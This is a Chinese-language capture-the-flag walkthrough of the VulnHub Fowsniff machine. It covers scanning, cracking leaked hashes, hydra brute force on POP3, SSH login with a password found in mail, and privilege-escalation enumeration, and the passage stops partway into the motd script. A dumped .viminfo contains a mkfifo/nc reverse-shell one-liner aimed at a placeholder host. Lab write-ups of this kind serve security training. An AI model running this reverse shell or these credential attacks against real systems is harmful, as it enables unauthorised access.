[vulnhub] Fowsniff

First Post:

Last Update:

Word Count:
6.1k

Read Time:
32 min

ad6fe8a0424f8cb573609b763073a547379292906

简介

非常好靶机,好的工作,爱来自中间的国家。

这台靶机主要考信息收集能力,场景设计的也很好,很真实,推荐动手尝试。

信息收集

nmap及脚本扫描

主机发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/vulnhub/Fowsniff/workSpace]
└─$ sudo nmap -sn 192.168.56.0/24
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-25 23:09 CST
Nmap scan report for 192.168.56.1
Host is up (0.00030s latency).
MAC Address: 0A:00:27:00:00:08 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00014s latency).
MAC Address: 08:00:27:2E:A1:5A (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.107
Host is up (0.00032s latency).
MAC Address: 08:00:27:B0:22:14 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.144
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 9.88 seconds

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~/vulnhub/Fowsniff/workSpace]
└─$ sudo nmap -p- --min-rate=10000 192.168.56.107
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-25 23:09 CST
Stats: 0:01:53 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 90.33% done; ETC: 23:11 (0:00:11 remaining)
Stats: 0:03:21 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 23:12 (0:00:00 remaining)
Warning: 192.168.56.107 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.56.107
Host is up (0.0060s latency).
Not shown: 37408 filtered tcp ports (no-response), 28123 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
110/tcp open pop3
143/tcp open imap
MAC Address: 08:00:27:B0:22:14 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 248.28 seconds

开了4个端口,都比较有用。就端口扫描来说看起来80是一条路,110和143是另一条路,22是最后考虑的。先看接下来的扫描再说吧。

TCP扫描 服务探测 OS探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali㉿kali)-[~/vulnhub/Fowsniff/workSpace]
└─$ sudo nmap -sT -sV -sC -O -p22,80,110,143 192.168.56.107
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-25 23:14 CST
Nmap scan report for 192.168.56.107
Host is up (0.00050s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 903566f4c6d295121be8cddeaa4e0323 (RSA)
| 256 539d236734cf0ad55a9a1174bdfdde71 (ECDSA)
|_ 256 a28fdbae9e3dc9e6a9ca03b1d71b6683 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Fowsniff Corp - Delivering Solutions
|_http-server-header: Apache/2.4.18 (Ubuntu)
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) TOP CAPA USER UIDL RESP-CODES AUTH-RESP-CODE PIPELINING
143/tcp open imap Dovecot imapd
|_imap-capabilities: LOGIN-REFERRALS capabilities have ENABLE Pre-login IDLE listed AUTH=PLAINA0001 more post-login OK SASL-IR LITERAL+ IMAP4rev1 ID
MAC Address: 08:00:27:B0:22:14 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.41 seconds

详细扫描结果发现之前的想法没问题。那我们接下来就可以先从80开始试试,可惜robots.txt里没记录什么有效信息。

漏洞扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
┌──(kali㉿kali)-[~/vulnhub/Fowsniff/workSpace]
└─$ sudo nmap --script=vuln 192.168.56.107
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-25 23:18 CST
Nmap scan report for 192.168.56.107
Host is up (0.00032s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.1.1
| http-enum:
| /robots.txt: Robots file
| /README.txt: Interesting, a readme.
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|_http-dombased-xss: Couldn't find any DOM based XSS.
110/tcp open pop3
143/tcp open imap
MAC Address: 08:00:27:B0:22:14 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 334.22 seconds

┌──(kali㉿kali)-[~/vulnhub/Fowsniff/workSpace]
└─$ sudo nikto -h http://192.168.56.107
[sudo] password for kali:
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.56.107
+ Target Hostname: 192.168.56.107
+ Target Port: 80
+ Start Time: 2023-05-25 23:37:26 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /: Server may leak inodes via ETags, header found with file /, inode: a45, size: 5674fd157f6d0, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /images/: Directory indexing found.
+ /LICENSE.txt: License file found may identify site software.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time: 2023-05-25 23:37:50 (GMT8) (24 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

漏扫发现/images泄露了服务器的内网ip,可惜我们暂时利用不上,其次,发现了LICENSE.txt,README.txt等文件。查看了下也没啥有用的。

Web渗透

目录发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(kali㉿kali)-[~/vulnhub/Fowsniff/workSpace]
└─$ sudo dirb http://192.168.56.107

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Fri May 26 10:42:11 2023
URL_BASE: http://192.168.56.107/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.56.107/ ----
==> DIRECTORY: http://192.168.56.107/assets/
==> DIRECTORY: http://192.168.56.107/images/
+ http://192.168.56.107/index.html (CODE:200|SIZE:2629)
+ http://192.168.56.107/robots.txt (CODE:200|SIZE:26)
+ http://192.168.56.107/server-status (CODE:403|SIZE:302)

---- Entering directory: http://192.168.56.107/assets/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.56.107/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Fri May 26 10:42:14 2023
DOWNLOADED: 4612 - FOUND: 3

就这么点信息,加上之前漏扫得到的几个文件,都没啥收获。

看来革新派没啥收获,来点传统的。当然后台可以挂个feroxbster把一些扩展名加上防止错过一些文件。sudo feroxbuster -u http://192.168.56.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s 200,301,302,401,403 -x txt,php,zip,sql,aspx,html

手动看看网页吧。

fows-homepage

主页显示说明服务器遭受了攻击,员工的用户名密码全泄露了。主页还友情提示了我们攻击者还劫持了他们的官方推特@fowsniffcorp,还说可能有泄漏的信息,还有这种事,那还不赶紧看看。

与此同时,后台挂的扫描结果出来了,发现扫出了个security.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 192.168.56.107/security.txt
WHAT SECURITY?

''~``
( o o )
+-----.oooO--(_)--Oooo.------+
| |
| FOWSNIFF |
| got |
| PWN3D!!! |
| |
| .oooO |
| ( ) Oooo. |
+---------\ (----( )-------+
\_) ) /
(_/


Fowsniff Corp got pwn3d by B1gN1nj4!


No one is safe from my 1337 skillz!

看来是攻击者B1gN1nj4留下了示威的,那就看看他劫持官推有没有给我们提供什么帮助吧。

fowsniff-twitter

发的第一条推就是重量级,好家伙把管理员账号和密钥md5值爆出来。那我们就看看能不能解出来吧。解出来如果B1gN1nj4没改的话不是拿下了。

md5-cant-crack

然而没有天上掉馅饼。解不出来,系统管理员是个讲究人,密码设这么复杂搞的和真的一样。算了看看别的推文,发现置顶推文有说法。这兄弟把系统用户的密码给dump出来了,还有这种好事,赶紧看看。

404-not-found

草,就给我看这个?页面上显示内容在22年8月29号被夹了。那接下来很简单了,穿越回22年8月29号前看一眼就行。

有能力穿回去的就不用往下看了,没能力的可以用waybackmachine查看以前的网页,真滴好用。

waybackmachine

发现老哥是实在人,不仅把所有dump出来的凭证贴出来了,还告诉我们是从email服务器弄出来的。那么说明这些登录凭证很可能是用户的邮箱登录凭证。

二话不说先把hash丢给hashes破解一下。

hashcrack

除了管理员stone的其他都破解出来了,太对了哥。

脆弱性利用

虽然之前收集到的是邮箱登录凭证,但是万一有人密码复用了呢?先试试ssh吧家人们。

1
2
┌──(kali㉿kali)-[~/vulnhub/Fowsniff/workSpace]
└─$ sudo crackmapexec ssh 192.168.56.107 -u username -p password --continue-on-success

然并卵。老老实实试试邮箱吧。

我们之前就扫描出来110和143开着,pop3以及imap服务都在正常运行。那我们就尝试登陆一下吧。

110-port-fonws在浏览器试一下,发现并没有登录页面。而且提示的错误明显发现肯定是网页用http协议连接出问题了。

那就在bash里试试吧。

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/vulnhub/Fowsniff/workSpace]
└─$ telnet 192.168.56.107 110
Trying 192.168.56.107...
Connected to 192.168.56.107.
Escape character is '^]'.
+OK Welcome to the Fowsniff Corporate Mail Server!
user mauer
+OK
pass carp4ever
-ERR [AUTH] Authentication failed.
us-ERR Disconnected for inactivity.
Connection closed by foreign host.

在bash里试了试发现能连接上,没啥问题,然而一个个手动输密码还要加上协议命令真有点折磨人吧。真得直接hydra爆破。

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/vulnhub/Fowsniff/workSpace]
└─$ hydra -L username -P password -s 110 192.168.56.107 pop3
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-26 00:46:04
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 80 login tries (l:10/p:8), ~5 tries per task
[DATA] attacking pop3://192.168.56.107:110/
[110][pop3] host: 192.168.56.107 login: seina password: scoobydoo2
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-26 00:46

发现有小可爱没改密码,给我们留下了方便之门。那就登上去看看邮件吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
┌──(kali㉿kali)-[~/vulnhub/Fowsniff/workSpace]
└─$ sudo telnet 192.168.56.107 110
Trying 192.168.56.107...
Connected to 192.168.56.107.
Escape character is '^]'.
+OK Welcome to the Fowsniff Corporate Mail Server!
user seina
+OK
pass scoobydoo2
+OK Logged in.
stat
+OK 2 2902
list
+OK 2 messages:
1 1622
2 1280
.

retr 1
+OK 1622 octets
Return-Path: <stone@fowsniff>
X-Original-To: seina@fowsniff
Delivered-To: seina@fowsniff
Received: by fowsniff (Postfix, from userid 1000)
id 0FA3916A; Tue, 13 Mar 2018 14:51:07 -0400 (EDT)
To: baksteen@fowsniff, mauer@fowsniff, mursten@fowsniff,
mustikka@fowsniff, parede@fowsniff, sciana@fowsniff, seina@fowsniff,
tegel@fowsniff
Subject: URGENT! Security EVENT!
Message-Id: <20180313185107.0FA3916A@fowsniff>
Date: Tue, 13 Mar 2018 14:51:07 -0400 (EDT)
From: stone@fowsniff (stone)

Dear All,

A few days ago, a malicious actor was able to gain entry to
our internal email systems. The attacker was able to exploit
incorrectly filtered escape characters within our SQL database
to access our login credentials. Both the SQL and authentication
system used legacy methods that had not been updated in some time.

We have been instructed to perform a complete internal system
overhaul. While the main systems are "in the shop," we have
moved to this isolated, temporary server that has minimal
functionality.

This server is capable of sending and receiving emails, but only
locally. That means you can only send emails to other users, not
to the world wide web. You can, however, access this system via
the SSH protocol.

The temporary password for SSH is "S1ck3nBluff+secureshell"

You MUST change this password as soon as possible, and you will do so under my
guidance. I saw the leak the attacker posted online, and I must say that your
passwords were not very secure.

Come see me in my office at your earliest convenience and we'll set it up.

Thanks,
A.J Stone


.

简单阅读理解一下,邮件1告诉我们临时的SSH登录密码是”S1ck3nBluff+secureshell”,但是stone警告员工登上了记得改。但是谁知道我们的seina是不是铁头娃,万一就是没改就是玩呢?先试试再说。可惜seina还真改了,可恶。

别急,我们还有第二封邮件,看看第二封说了啥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
retr 2
+OK 1280 octets
Return-Path: <baksteen@fowsniff>
X-Original-To: seina@fowsniff
Delivered-To: seina@fowsniff
Received: by fowsniff (Postfix, from userid 1004)
id 101CA1AC2; Tue, 13 Mar 2018 14:54:05 -0400 (EDT)
To: seina@fowsniff
Subject: You missed out!
Message-Id: <20180313185405.101CA1AC2@fowsniff>
Date: Tue, 13 Mar 2018 14:54:05 -0400 (EDT)
From: baksteen@fowsniff

Devin,

You should have seen the brass lay into AJ today!
We are going to be talking about this one for a looooong time hahaha.
Who knew the regional manager had been in the navy? She was swearing like a sailor!

I don't know what kind of pneumonia or something you brought back with
you from your camping trip, but I think I'm coming down with it myself.
How long have you been gone - a week?
Next time you're going to get sick and miss the managerial blowout of the century,
at least keep it to yourself!

I'm going to head home early and eat some chicken soup.
I think I just got an email from Stone, too, but it's probably just some
"Let me explain the tone of my meeting with management" face-saving mail.
I'll read it when I get back.

Feel better,

Skyler

PS: Make sure you change your email password.
AJ had been telling us to do that right before Captain Profanity showed up.

.

我们的反卷斗士baksteen下班直接回家喝鸡汤去了,邮件里还不忘锐评区域经理stone发的邮件多半是在挽尊,说打算回来再看。最后还不忘提醒seina改邮箱密码。

然而这小子没看AJ的邮件,那不就说明他不知道ssh那事。那他密码铁没改。

登陆试试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(kali㉿kali)-[~/vulnhub/Fowsniff/workSpace]
└─$ ssh baksteen@192.168.56.107
baksteen@192.168.56.107's password:

_____ _ __ __
:sdddddddddddddddy+ | ___|____ _____ _ __ (_)/ _|/ _|
:yNMMMMMMMMMMMMMNmhsso | |_ / _ \ \ /\ / / __| '_ \| | |_| |_
.sdmmmmmNmmmmmmmNdyssssso | _| (_) \ V V /\__ \ | | | | _| _|
-: y. dssssssso |_| \___/ \_/\_/ |___/_| |_|_|_| |_|
-: y. dssssssso ____
-: y. dssssssso / ___|___ _ __ _ __
-: y. dssssssso | | / _ \| '__| '_ \
-: o. dssssssso | |__| (_) | | | |_) | _
-: o. yssssssso \____\___/|_| | .__/ (_)
-: .+mdddddddmyyyyyhy: |_|
-: -odMMMMMMMMMMmhhdy/.
.ohdddddddddddddho: Delivering Solutions


**** Welcome to the Fowsniff Corporate Server! ****

---------- NOTICE: ----------

* Due to the recent security breach, we are running on a very minimal system.
* Contact AJ Stone -IMMEDIATELY- about changing your email and SSH passwords.


Last login: Tue Mar 13 16:55:40 2018 from 192.168.7.36
baksteen@fowsniff:~$ whoami
baksteen
baksteen@fowsniff:~$ pwd
/home/baksteen
baksteen@fowsniff:~$ uname -a
Linux fowsniff 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

果然,舒服了,成功拿到shell。

提权

之所以说这个靶机比较好是因为他里面用户权限管理和分组都弄成了公司里的模式,组分成了root,user以及各个个人组,很真实。

废话不多说,手动枚举该干的活不能少干。

1
2
3
baksteen@fowsniff:~$ sudo -l
[sudo] password for baksteen:
Sorry, user baksteen may not run sudo on fowsniff.

没权限捏。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
baksteen@fowsniff:/home$ find / -type f -perm -04000 2>/dev/null
/bin/mount
/bin/fusermount
/bin/umount
/bin/ping
/bin/su
/bin/ntfs-3g
/bin/ping6
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/procmail
/usr/bin/sudo
/usr/bin/chsh

也没啥能用的set SUID的bin文件供我们提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
baksteen@fowsniff:/opt/cube$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

没啥自动任务。

老三样整完了,手动看看各个目录里的文件看看吧。

你可以错过冬日的暖阳,也可以错过夏日的微风,但你一定不能错过多用户环境检索用户遗留的凭证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
baksteen@fowsniff:/home$ ll
total 44
drwxr-xr-x 11 root root 4096 Mar 8 2018 ./
drwxr-xr-x 22 root root 4096 Mar 9 2018 ../
drwxrwx--- 4 baksteen baksteen 4096 Mar 13 2018 baksteen/
drwxrwx--- 3 mauer mauer 4096 Mar 11 2018 mauer/
drwxrwx--- 3 mursten mursten 4096 Mar 11 2018 mursten/
drwxrwx--- 3 mustikka mustikka 4096 Mar 11 2018 mustikka/
drwxrwx--- 3 parede parede 4096 Mar 11 2018 parede/
drwxrwx--- 3 sciana sciana 4096 Mar 11 2018 sciana/
drwxrwx--- 4 seina seina 4096 Mar 11 2018 seina/
drwxrwx--- 4 stone stone 4096 Mar 13 2018 stone/
drwxrwx--- 3 tegel tegel 4096 Mar 11 2018 tegel/
baksteen@fowsniff:/home$ grep -R -i pass /home/* 2>/dev/null
/home/baksteen/Maildir/new/1520967067.V801I23764M196461.fowsniff:The temporary password for SSH is "S1ck3nBluff+secureshell"
/home/baksteen/Maildir/new/1520967067.V801I23764M196461.fowsniff:You MUST change this password as soon as possible, and you will do so under my
/home/baksteen/Maildir/new/1520967067.V801I23764M196461.fowsniff:passwords were not very secure.

然而系统管理员把权限配置的很好,根本就进不去其他用户的目录。

行,看不了别人的还看不了自己的吗,看看baksteen老哥还给我们留下来什么宝贝。

1
2
3
4
5
6
7
8
9
10
11
12
13
baksteen@fowsniff:~$ ll
total 40
drwxrwx--- 4 baksteen baksteen 4096 Mar 13 2018 ./
drwxr-xr-x 11 root root 4096 Mar 8 2018 ../
-rw------- 1 baksteen users 1 Mar 13 2018 .bash_history
-rw-r--r-- 1 baksteen users 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 baksteen users 3771 Aug 31 2015 .bashrc
drwx------ 2 baksteen users 4096 Mar 8 2018 .cache/
-rw-r--r-- 1 baksteen users 0 Mar 9 2018 .lesshsQ
drwx------ 5 baksteen users 4096 Mar 9 2018 Maildir/
-rw-r--r-- 1 baksteen users 655 May 16 2017 .profile
-rw-r--r-- 1 baksteen users 97 Mar 9 2018 term.txt
-rw------- 1 baksteen users 2981 Mar 13 2018 .viminfo

有txt先看txt。

1
2
3
baksteen@fowsniff:~$ cat term.txt 
I wonder if the person who coined the term "One Hit Wonder"
came up with another other phrases.

没用,再翻翻Maildir,发现里面也没啥有用的东西。

那接下来就看看.bash_history.viminfo有没有给我们留下点什么吧。

出师未捷,.bash_history是空的。再看看.viminfo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
baksteen@fowsniff:~$ cat .viminfo 
# This viminfo file was generated by Vim 7.4.
# You may edit it if you're careful!

# Value of 'encoding' when this file was written
*encoding=utf-8


# hlsearch on (H) or off (h):
~h
# Command Line History (newest to oldest):
:wq!
:w!
:q!
:Q!

# Search String History (newest to oldest):
?/tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc local.machine.ip.addr PORTNUM > /tmp/f

# Expression History (newest to oldest):

# Input Line History (newest to oldest):

# Input Line History (newest to oldest):

# Registers:
""- CHAR 0
e

# File marks:
'0 11 0 ~/email_to_seina.txt
'1 8 18 /tmp/pytest/pytest.py
'2 10 11 /tmp/pytest/pytest.py
'3 20 6 /tmp/pytest/pytest.py
'4 23 13 /tmp/pytest/pytest.py
'5 4 14 pytest.py
'6 1 40 /tmp/bak_test/script.sh
'7 33 40 ~/jokes3.txt
'8 46 0 ~/email_to_seina.txt
'9 44 86 ~/email_to_seina.txt

# Jumplist (newest first):
-' 11 0 ~/email_to_seina.txt
-' 1 0 ~/email_to_seina.txt
-' 8 18 /tmp/pytest/pytest.py
-' 1 0 /tmp/pytest/pytest.py
-' 10 11 /tmp/pytest/pytest.py
-' 20 6 /tmp/pytest/pytest.py
-' 23 13 /tmp/pytest/pytest.py
-' 4 14 pytest.py
-' 1 0 pytest.py
-' 1 40 /tmp/bak_test/script.sh
-' 33 40 ~/jokes3.txt
-' 1 0 ~/jokes3.txt
-' 46 0 ~/email_to_seina.txt
-' 44 86 ~/email_to_seina.txt
-' 52 39 ~/email_to_seina.txt
-' 33 40 ~/jokes3.txt
-' 1 0 ~/jokes3.txt
-' 1 40 /tmp/bak_test/script.sh
-' 33 40 ~/jokes3.txt
-' 1 0 ~/jokes3.txt
-' 33 40 ~/jokes3.txt
-' 1 0 ~/jokes3.txt
-' 4 14 pytest.py
-' 1 0 pytest.py
-' 1 40 /tmp/bak_test/script.sh
-' 33 40 ~/jokes3.txt
-' 1 0 ~/jokes3.txt
-' 33 40 ~/jokes3.txt
-' 1 0 ~/jokes3.txt
-' 1 40 /tmp/bak_test/script.sh
-' 33 40 ~/jokes3.txt
-' 1 0 ~/jokes3.txt
-' 33 40 ~/jokes3.txt
-' 1 0 ~/jokes3.txt
-' 4 14 pytest.py
-' 1 0 pytest.py
-' 1 40 /tmp/bak_test/script.sh
-' 33 40 ~/jokes3.txt

# History of marks within files (newest to oldest):

> ~/email_to_seina.txt
" 11 0
^ 11 0
. 11 0
+ 46 0
+ 40 0
+ 43 0
+ 44 3
+ 44 86
+ 26 0
+ 31 0
+ 36 0
+ 41 12
+ 42 0
+ 44 3
+ 44 47
+ 44 69
+ 45 0
+ 47 0
+ 23 0
+ 17 0
+ 16 4
+ 15 72
+ 5 51
+ 5 51
+ 5 51
+ 10 35
+ 10 81
+ 12 0
+ 11 0

> /tmp/pytest/pytest.py
" 8 18
^ 8 19
. 8 18
+ 23 22
+ 23 24
+ 23 35
+ 23 28
+ 13 21
+ 23 0
+ 17 10
+ 16 30
+ 17 5
+ 20 6
+ 11 3
+ 11 0
+ 7 1
+ 8 5
+ 8 5
+ 8 10
+ 10 12
+ 8 18
+ 8 19
+ 9 9
+ 10 0
+ 8 18

> /opt/cube/cube.sh
" 17 67
^ 17 68
. 17 67
+ 15 62
+ 1 8
+ 3 8
+ 17 8
+ 1 10
+ 17 0
+ 17 67

> /etc/update-motd.d/cube.sh
" 14 0
^ 14 0
. 13 62
+ 13 62

> /tmp/place/hi.txt
" 1 0
. 1 0
+ 1 0

> /tmp/pytest/junk/a.sh
" 3 13
^ 3 14
. 3 13
+ 3 13

> /tmp/pytest/junk/b
" 1 0

> /tmp/pytest/junk/scripto.sh
" 3 4
^ 3 5
. 3 5
+ 3 5

> pytest.py
" 4 14
^ 4 15
. 4 14
+ 4 14

> /tmp/bak_test/script.sh
" 1 40
^ 1 41
. 1 40
+ 1 40

> ~/jokes3.txt
" 33 40
^ 33 41
. 33 30
+ 33 30

到底是baksteen老哥,虽然home目录下创的jokes3文件没了,/tmp下自己写着玩的shell脚本和python文件都没了。

但是vim记录还是给我们留下了有用信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
> /opt/cube/cube.sh
" 17 67
^ 17 68
. 17 67
+ 15 62
+ 1 8
+ 3 8
+ 17 8
+ 1 10
+ 17 0
+ 17 67

> /etc/update-motd.d/cube.sh
" 14 0
^ 14 0
. 13 62
+ 13 62

我们发现baksteen老哥可以编辑/opt/cube/目录下的cube.sh

并且我们知道/etc/update-motd.d目录下是存放用于显示用户登录进来时的信息的脚本的。

我们看看/etc/update-motd.d目录下都有啥

1
2
3
4
5
6
7
8
baksteen@fowsniff:/etc/update-motd.d$ ll
total 24
drwxr-xr-x 2 root root 4096 Mar 11 2018 ./
drwxr-xr-x 87 root root 4096 Mar 13 2018 ../
-rwxr-xr-x 1 root root 1248 Mar 11 2018 00-header*
-rwxr-xr-x 1 root root 1473 Mar 9 2018 10-help-text*
-rwxr-xr-x 1 root root 299 Jul 22 2016 91-release-upgrade*
-rwxr-xr-x 1 root root 604 Nov 5 2017 99-esm*

虽然没有我们最想要的cube.sh,但是没准备写入header了呢?看看再说

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
baksteen@fowsniff:/etc/update-motd.d$ cat 00-header 
#!/bin/sh
#
# 00-header - create the header of the MOTD
# Copyright (C) 2009-2010 Canonical Ltd.
#
# Authors: Dustin Kirkland <kirkland@canonical.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

#[ -r /etc/lsb-release ] && . /etc/lsb-release

#if [ -z "$DISTRIB_DESCRIPTION" ] && [ -x /usr/bin/lsb_release ]; then
# # Fall back to using the very slow lsb_release utility
